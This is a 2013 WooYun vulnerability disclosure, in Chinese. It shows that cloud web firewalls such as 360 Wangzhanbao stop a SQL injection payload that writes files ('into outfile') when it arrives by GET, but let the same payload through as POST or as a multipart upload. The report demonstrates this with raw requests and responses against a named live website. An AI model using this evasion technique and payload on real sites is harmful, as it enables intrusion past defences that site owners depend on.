当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-044349

漏洞标题：360网站宝/安全宝/加速乐及其他类似产品防护绕过缺陷之一

相关厂商：360网站宝等云WAF厂商

漏洞作者： 路人甲

提交时间：2013-11-28 20:24

修复时间：2014-01-12 20:25

公开时间：2014-01-12 20:25

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-11-28： 细节已通知厂商并且等待厂商处理中
2013-11-29： 厂商已经确认，细节仅向厂商公开
2013-12-09： 细节向核心白帽子及相关领域专家公开
2013-12-19： 细节向普通白帽子公开
2013-12-29： 细节向实习白帽子公开
2014-01-12： 细节向公众公开

简要描述：

360网站宝等云waf产品在实现的时候存在问题可以导致安全策略绕过

详细说明：

在对GET请求处理的时候都能够识别攻击，但是一旦换成了POST请求或者是改造过的POST就不存在此问题了

漏洞证明：

GET /index.php?id=1%20into%20outfile%20'/tmp/abc' HTTP/1.1
Host: www.xiangshu.com
Connection: keep-alive
Content-Length: 1778
HTTP/1.1 493
Server: nginx/1.2.9
Date: Thu, 28 Nov 2013 12:21:35 GMT
Content-Type: text/html
Content-Length: 5538
Connection: keep-alive
X-Powered-By-360WZB: wangzhan.360.cn
<!DOCTYPE html>
<html>
<head>			
<title>禁止访问</title>
<meta charset="utf-8" />
<meta name="author" content="" />
<meta name="keywords" content="" />
<meta name="description" content="" />
<style>
body{margin:0; padding:0;text-align: center;font-family:"微软雅黑" Arial, Helvetica, sans-serif;font-size: 14px;color: #666;}
div,dl,dd,dt,ul,li,p,h1,h2{margin:0; padding:0;}
h1{font-size:22px;  line-height:30px; text-align:left; line-height:40px; margin-bottom:10px; color:#666;}
.wrap{width:715px; margin:50px auto;}
.waring-tips1,.waring-tips2{height:55px; line-height:55px; border-radius:10px; font-size:20px; color:#fff; }
.waring-tips1{background:#F8AE01 url(/wzws-waf-cgi/wz-warning-logo.png) no-repeat 580px center;}
.waring-tips2{background:#0D5598 url(/wzws-waf-cgi/wz-warning-logo.png) no-repeat 580px center;}
.waring-tips1 p,.waring-tips2 p{padding-left:50px; line-height:55px; background:url(/wzws-waf-cgi/wz-warning-icon2.png) no-repeat 15px center;}
.main{border:1px solid #D0D0D0; border-radius:10px;}
.warning-domain{padding:10px 20px;}
.warning-domain dt{color:#000; text-align:left;font-size:20px; font-weight:bold; line-height:30px;}
.warning-domain dd{color:#333; text-align:left; font-size:16px; line-height:35px;}
.warning-conlist{border-top:1px solid #d0d0d0; padding-top:10px; padding-bottom:10px;}
.warning-conlist dl{position:relative;}
.warning-conlist dl dt{width:190px; position:absolute; text-align:center;font-size:16px; font-weight:bold; color:#555; left:0; top:0; line-height:45px; text-align:left; text-indent:50px;}
.warning-conlist dl dd{margin-left:190px; line-height:45px; text-align:left;}
.warning-conlist p{clear:both; font-size:12px; text-align:left; line-height:30px; padding:5px 10px;}
</style>
</head>
<body>
<div class="wrap">
	<h1 class="waring-tips1"><p>禁止访问</p></h1>
	<div class="main">
		<dl class="warning-domain">
		 <dt id="host"></dt>
		 <dd>您提交的请求存在危险内容，已被网站卫士拦截！</dd>
		</dl>
		<div class="warning-conlist">
			<dl>
			 <dt>拦截网址：</dt>
			 <dd id="wurl">&nbsp;</dd>
			</dl>
			 <dl>
			 <dt>拦截时间：</dt>
			 <dd id="wdate">2013-03-28 16:19:25</dd>
			</dl>
			<dl style="margin-bottom:10px; border-bottom:1px solid #ccc">
			 <dt>处理结果：</dt>
			 <dd>IP已被记录并提交至网络监察部门备案！</dd>
			</dl>
            <p>如果您是站长，要继续访问网址,请进入<a href="javascript:void(0);" onclick="tongdao()" style="color:green">[站长绿色通道]</a></p>
			<p >(站长绿色通道：网站卫士会自动将当前被拦截的URL加入防火墙白名单，在3小时之内该URL不进行安全检测)</p>
		</div>
	</div>
</div>
<script type="text/javascript" src="/wzws-waf-cgi/jquery-1.4.2.min.js"></script>
<script type="text/javascript">
function Base64() {
 
	// private property
	_keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
 
	// public method for encoding
	this.encode = function (input) {
		var output = "";
		var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
		var i = 0;
		input = _utf8_encode(input);
		while (i < input.length) {
			chr1 = input.charCodeAt(i++);
			chr2 = input.charCodeAt(i++);
			chr3 = input.charCodeAt(i++);
			enc1 = chr1 >> 2;
			enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
			enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
			enc4 = chr3 & 63;
			if (isNaN(chr2)) {
				enc3 = enc4 = 64;
			} else if (isNaN(chr3)) {
				enc4 = 64;
			}
			output = output +
			_keyStr.charAt(enc1) + _keyStr.charAt(enc2) +
			_keyStr.charAt(enc3) + _keyStr.charAt(enc4);
		}
		return output;
	}
	// private method for UTF-8 encoding
	_utf8_encode = function (string) {
		string = string.replace(/\r\n/g,"\n");
		var utftext = "";
		for (var n = 0; n < string.length; n++) {
			var c = string.charCodeAt(n);
			if (c < 128) {
				utftext += String.fromCharCode(c);
			} else if((c > 127) && (c < 2048)) {
				utftext += String.fromCharCode((c >> 6) | 192);
				utftext += String.fromCharCode((c & 63) | 128);
			} else {
				utftext += String.fromCharCode((c >> 12) | 224);
				utftext += String.fromCharCode(((c >> 6) & 63) | 128);
				utftext += String.fromCharCode((c & 63) | 128);
			}
 
		}
		return utftext;
	}
 
}
function HTMLEncode(html) 
{
	var temp = document.createElement ("div"); 
	(temp.textContent != null) ? (temp.textContent = html) : (temp.innerText = html); 
	var output = temp.innerHTML; 
	temp = null; 
	return output; 
} 
$(document).ready(function(){
  $("#host").text(location.hostname);
  $("#wurl").text(HTMLEncode(location.href));
  var myDate = new Date();
  $("#wdate").text(myDate.toLocaleString());
});
function wubao(){
	var host = location.hostname;
	location.href="fankui.html?"+host;
}
function tongdao(){
	var host = location.hostname;
	var url = HTMLEncode(location.href);
	var index = url.indexOf("?");
	if(index>0){
		url = url.substr(0,index);
	}
	var b = new Base64();  
	url = b.encode(url); 
	location.href="http://wangzhan.360.cn/index/shouquan/host/"+host+"/?url="+url;
}
</script>
<script type="text/javascript">
  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-32745158-2']);
  _gaq.push(['_trackPageview']);
  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();
</script>
</body>
</html>


换成

POST /index.php?id=1%20into%20outfile%20'/tmp/abc' HTTP/1.1
Host: www.xiangshu.com
Connection: keep-alive
Content-Length: 1778
HTTP/1.1 493
Server: nginx/1.2.9
Date: Thu, 28 Nov 2013 12:22:04 GMT
Content-Type: text/html
Content-Length: 5538
Connection: keep-alive
X-Powered-By-360WZB: wangzhan.360.cn
<!DOCTYPE html>
<html>
<head>			
<title>禁止访问</title>
<meta charset="utf-8" />
<meta name="author" content="" />
<meta name="keywords" content="" />
<meta name="description" content="" />
<style>
body{margin:0; padding:0;text-align: center;font-family:"微软雅黑" Arial, Helvetica, sans-serif;font-size: 14px;color: #666;}
div,dl,dd,dt,ul,li,p,h1,h2{margin:0; padding:0;}
h1{font-size:22px;  line-height:30px; text-align:left; line-height:40px; margin-bottom:10px; color:#666;}
.wrap{width:715px; margin:50px auto;}
.waring-tips1,.waring-tips2{height:55px; line-height:55px; border-radius:10px; font-size:20px; color:#fff; }
.waring-tips1{background:#F8AE01 url(/wzws-waf-cgi/wz-warning-logo.png) no-repeat 580px center;}
.waring-tips2{background:#0D5598 url(/wzws-waf-cgi/wz-warning-logo.png) no-repeat 580px center;}
.waring-tips1 p,.waring-tips2 p{padding-left:50px; line-height:55px; background:url(/wzws-waf-cgi/wz-warning-icon2.png) no-repeat 15px center;}
.main{border:1px solid #D0D0D0; border-radius:10px;}
.warning-domain{padding:10px 20px;}
.warning-domain dt{color:#000; text-align:left;font-size:20px; font-weight:bold; line-height:30px;}
.warning-domain dd{color:#333; text-align:left; font-size:16px; line-height:35px;}
.warning-conlist{border-top:1px solid #d0d0d0; padding-top:10px; padding-bottom:10px;}
.warning-conlist dl{position:relative;}
.warning-conlist dl dt{width:190px; position:absolute; text-align:center;font-size:16px; font-weight:bold; color:#555; left:0; top:0; line-height:45px; text-align:left; text-indent:50px;}
.warning-conlist dl dd{margin-left:190px; line-height:45px; text-align:left;}
.warning-conlist p{clear:both; font-size:12px; text-align:left; line-height:30px; padding:5px 10px;}
</style>
</head>
<body>
<div class="wrap">
	<h1 class="waring-tips1"><p>禁止访问</p></h1>
	<div class="main">
		<dl class="warning-domain">
		 <dt id="host"></dt>
		 <dd>您提交的请求存在危险内容，已被网站卫士拦截！</dd>
		</dl>
		<div class="warning-conlist">
			<dl>
			 <dt>拦截网址：</dt>
			 <dd id="wurl">&nbsp;</dd>
			</dl>
			 <dl>
			 <dt>拦截时间：</dt>
			 <dd id="wdate">2013-03-28 16:19:25</dd>
			</dl>
			<dl style="margin-bottom:10px; border-bottom:1px solid #ccc">
			 <dt>处理结果：</dt>
			 <dd>IP已被记录并提交至网络监察部门备案！</dd>
			</dl>
            <p>如果您是站长，要继续访问网址,请进入<a href="javascript:void(0);" onclick="tongdao()" style="color:green">[站长绿色通道]</a></p>
			<p >(站长绿色通道：网站卫士会自动将当前被拦截的URL加入防火墙白名单，在3小时之内该URL不进行安全检测)</p>
		</div>
	</div>
</div>
<script type="text/javascript" src="/wzws-waf-cgi/jquery-1.4.2.min.js"></script>
<script type="text/javascript">
function Base64() {
 
	// private property
	_keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
 
	// public method for encoding
	this.encode = function (input) {
		var output = "";
		var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
		var i = 0;
		input = _utf8_encode(input);
		while (i < input.length) {
			chr1 = input.charCodeAt(i++);
			chr2 = input.charCodeAt(i++);
			chr3 = input.charCodeAt(i++);
			enc1 = chr1 >> 2;
			enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
			enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
			enc4 = chr3 & 63;
			if (isNaN(chr2)) {
				enc3 = enc4 = 64;
			} else if (isNaN(chr3)) {
				enc4 = 64;
			}
			output = output +
			_keyStr.charAt(enc1) + _keyStr.charAt(enc2) +
			_keyStr.charAt(enc3) + _keyStr.charAt(enc4);
		}
		return output;
	}
	// private method for UTF-8 encoding
	_utf8_encode = function (string) {
		string = string.replace(/\r\n/g,"\n");
		var utftext = "";
		for (var n = 0; n < string.length; n++) {
			var c = string.charCodeAt(n);
			if (c < 128) {
				utftext += String.fromCharCode(c);
			} else if((c > 127) && (c < 2048)) {
				utftext += String.fromCharCode((c >> 6) | 192);
				utftext += String.fromCharCode((c & 63) | 128);
			} else {
				utftext += String.fromCharCode((c >> 12) | 224);
				utftext += String.fromCharCode(((c >> 6) & 63) | 128);
				utftext += String.fromCharCode((c & 63) | 128);
			}
 
		}
		return utftext;
	}
 
}
function HTMLEncode(html) 
{
	var temp = document.createElement ("div"); 
	(temp.textContent != null) ? (temp.textContent = html) : (temp.innerText = html); 
	var output = temp.innerHTML; 
	temp = null; 
	return output; 
} 
$(document).ready(function(){
  $("#host").text(location.hostname);
  $("#wurl").text(HTMLEncode(location.href));
  var myDate = new Date();
  $("#wdate").text(myDate.toLocaleString());
});
function wubao(){
	var host = location.hostname;
	location.href="fankui.html?"+host;
}
function tongdao(){
	var host = location.hostname;
	var url = HTMLEncode(location.href);
	var index = url.indexOf("?");
	if(index>0){
		url = url.substr(0,index);
	}
	var b = new Base64();  
	url = b.encode(url); 
	location.href="http://wangzhan.360.cn/index/shouquan/host/"+host+"/?url="+url;
}
</script>
<script type="text/javascript">
  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-32745158-2']);
  _gaq.push(['_trackPageview']);
  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();
</script>
</body>
</html>


即不拦
如果还拦就换成文件上传的方式

------------gL6ei4ae0GI3Ij5Ij5cH2ei4KM7KM7
Content-Disposition: form-data; name="folder"
/blog/
------------gL6ei4ae0GI3Ij5Ij5cH2ei4KM7KM7
Content-Disposition: form-data; name="id"
1%20into%20outfile%20'/tmp/abc'


HTTP/1.1 200 OK
Server: nginx/1.2.9
Date: Thu, 28 Nov 2013 12:22:23 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By-360WZB: wangzhan.360.cn
X-Powered-By: PHP/5.2.13
Content-Length: 6258
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="/css/main.css" />
<script type="text/javascript" src="/assets/b043222/jquery.js"></script>
<script type="text/javascript" src="/css/cycle.js"></script>
<title>橡树摄影网-中国橡树摄影爱好者俱乐部 www.xiangshu.com</title>
<meta name="Description" content="橡树摄影网 www.xiangshu.com 中国规模最大的摄影俱乐部" />
<link rel="shortcut icon" href="http://www.xiangshu.com/images/xiangshu.ico" />
</head>
<body>
<div id="wrap">
    <div id="header">
        <div id="logo">
            <div id="logopic"><a href=http://www.xiangshu.com/club/0><img src=http://www.xiangshu.com/images/indexlogo.jpg border=0></a></div>
            <h1>中国规模最大的摄影俱乐部</h1> 
        </div>
       
		
		<div id="club"><a href="/club/0">总站</a> <a style="font-size:12px;font-weight:normal;color:red" href="/site/club"> [换城市]</a>
</div>
		
        <div id="banner">
       
			<div id="enter">
	<a href=http://www.xiangshu.com/read.php?tid=1004568>网站热线电话:400-100-8885</a>   |    <a href=http://www.gxsyxy.com target="_blank">光线摄影学院</a>   |  <a href=http://www.xiangshu.com/club/0>总站首页入口</a>
			
			</div>
    
		   <div class="clear"></div>
            <div id="subnav">
                <ul>
                    <li style="background:#006600"><a href=http://www.xiangshu.com/joining.php>注册免费会员</a></li>
                    <li style="background:#99CC00"><a href=http://www.xiangshu.com/read.php?tid=1004568>申请VIP会员</a>
					</li>
                    <li style="background:#FF9900"><a href=http://www.xiangshu.com/membercard.php>捆绑会员卡</a></li>
                    <li style="background:#666666"><a href=http://www.xiangshu.com/about/7>景点合作和案例</a>
					</li>
                </ul>
            </div>
        </div>
    </div>
	
    <div id="nav">
        <div id="nav_l"></div>
        <div id="nav_bg">
            <ul>
                <li><a href=http://www.xiangshu.com/pic/1>人 文</a></li>
                <li>|</li>
                <li><a href=http://www.xiangshu.com/pic/2>风 光</a></li>
                <li>|</li>
                <li><a href=http://www.xiangshu.com/pic/3>美 女</a></li>
                <li>|</li>
                <li><a href=http://www.xiangshu.com/pic/4>创 意</a></li>
                <li>|</li>
                <li><a href=http://www.xiangshu.com/thread.php?fid=2>摄影社区</a></li>
				<li>|</li>
                <li><a href=http://www.xiangshu.com/thread.php?fid=64>驴友专区</a></li>
                <li class="btn"><a href=http://www.xiangshu.com/site/club>更换城市分站</a></li>
            </ul>
        </div>
        <div id="nav_r"></div>
    </div>
    <div id="main">
    <div id="index_top"></div>
    <div id="index_bg">
        <div id="flash">
                        <a href="http://www.xiangshu.com/thread.php?fid=2"><img width="538" height="404" src="http://photo.xiangshu.com/2/1385631569.jpg" alt="进入其他城市可看更多当地精华图片" /></a>                <a href="http://www.xiangshu.com/thread.php?fid=2"><img width="538" height="404" src="http://photo.xiangshu.com/2/1385571948.jpg" alt="进入其他城市可看更多当地精华图片" /></a>                        </div>
        <div id="map">
            <div id="iframe"><iframe marginWidth="0" marginHeight="0" frameSpacing="0" src="http://www.xiangshu.com/map/" frameBorder="0" width="300" scrolling="no" height="242"></iframe></div>
            <div id="news">
                <div id="news_tit"><span class="left">总站公告</span><span class="right">从地图进俱乐部 [<a href=club.html>文字入口</a>] </span></div>
                <div id="news_list">
                    <ul>
                                                <li>
                            <dl>
                                <dt><a target="_blank" href="/article/view/id/62">热烈庆祝橡树摄影网创办9周年[十月二十六]</a></dt>
                                <dd>[10-20]</dd>
                            </dl>
                        </li>
                                                <li>
                            <dl>
                                <dt><a target="_blank" href="/article/view/id/61">橡树网代表应邀出席中国神农架博客邀请赛</a></dt>
                                <dd>[06-09]</dd>
                            </dl>
                        </li>
                                                <li>
                            <dl>
                                <dt><a target="_blank" href="/article/view/id/60">关于委托唐瑞先生赴景区洽谈合作的声明</a></dt>
                                <dd>[04-19]</dd>
                            </dl>
                        </li>
                                                <li>
                            <dl>
                                <dt><a target="_blank" href="/article/view/id/59">网站升级:图片质量上升到500K,开放外链</a></dt>
                                <dd>[03-06]</dd>
                            </dl>
                        </li>
                                                <li>
                            <dl>
                                <dt><a target="_blank" href="/article/view/id/58">橡树网副总裁和木王国家森林公园签约</a></dt>
                                <dd>[12-21]</dd>
                            </dl>
                        </li>
                                            </ul>
                </div>
            </div>
        </div>
    </div>
    <div id="index_bottom"></div>
</div>
			
    <div id="hezuo">
		  <a href=http://www.xiangshu.com/about/6>关于橡树</a> - <a href=http://www.xiangshu.com/about/8>联系我们</a> - <a href=http://www.xiangshu.com/link>友情链接</a>  [粤ICP备11037153号]
	</div> 
  
</body>
</html>


就不拦了......

修复方案：

呵呵

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-11-29 17:36

厂商回复：

CNVD根据所述绕过方法，在国内多个网站安全防护平台上进行了网站抽样测试，测试主要依据在动态页面或交互式页面中对比绕过效果。目前测试在各平台上得到的结果不尽相同。
按处置流程，已经先行分别向360网站卫士、百度加速乐、安全宝平台等平台管理方通报。建议各方对防护规则进行升级或就该问题进行针对性技术比对，待后续各方反馈后再进行状态更新。
考虑到绕过方法需要结合特定类型漏洞发起攻击，暂不作为通用漏洞进行收录，仅作为风险进行认定。
rank 15

最新状态：

暂无